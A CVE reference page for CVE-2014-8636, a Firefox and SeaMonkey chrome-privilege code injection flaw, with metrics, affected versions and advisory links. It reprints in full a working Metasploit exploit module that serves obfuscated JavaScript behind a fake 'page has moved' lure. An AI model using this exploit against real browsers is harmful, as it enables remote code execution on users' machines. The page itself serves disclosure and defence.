CVE-2014-8636 : Detail

CVE-2014-8636

Code Injection
A03-Injection
89.79%V3
Network
2015-01-14
10h00 +00:00
2017-09-07
13h57 +00:00
CVE.org
NVD
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CVE Descriptions

The XrayWrapper implementation in Mozilla Firefox before 35.0 and SeaMonkey before 2.32 does not properly interact with a DOM object that has a named getter, which might allow remote attackers to execute arbitrary JavaScript code with chrome privileges via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 36480

Publication date : 2015-03-23 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect component and gaining a reference to the privileged chrome:// window. This exploit requires the user to click anywhere on the page to trigger the vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'joev' # discovery and metasploit module ], 'DisclosureDate' => "Jan 20 2014", 'References' => [ ['CVE', '2014-8636'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ] ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def default_html "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected." end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = js_obfuscate %Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var props = {}; props.has = function(n){ if (!window.top.x && n=='nodeType') { window.top.x=window.open("chrome://browser/content/browser.xul", "x", "chrome,,top=-9999px,left=-9999px,height=100px,width=100px"); if (window.top.x) { Object.setPrototypeOf(document, pro); setTimeout(function(){ x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>'; setTimeout(function(){ x.messageManager.loadFrameScript('data:,'+key, false); setTimeout(function(){ x.close(); }, 100) }, 100) }, 100); } } } var pro = Object.getPrototypeOf(document); Object.setPrototypeOf(document, Proxy.create(props)); | %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT'] || default_html} </body> </html> | end end

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (including) 34.0.5

Configuraton 0

Mozilla>>Seamonkey >> Version To (including) 2.31

References

http://secunia.com/advisories/62242
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/72041
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1031533
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/62250
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/62418
Tags : third-party-advisory, x_refsource_SECUNIA
https://security.gentoo.org/glsa/201504-01
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/62790
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/62446
Tags : third-party-advisory, x_refsource_SECUNIA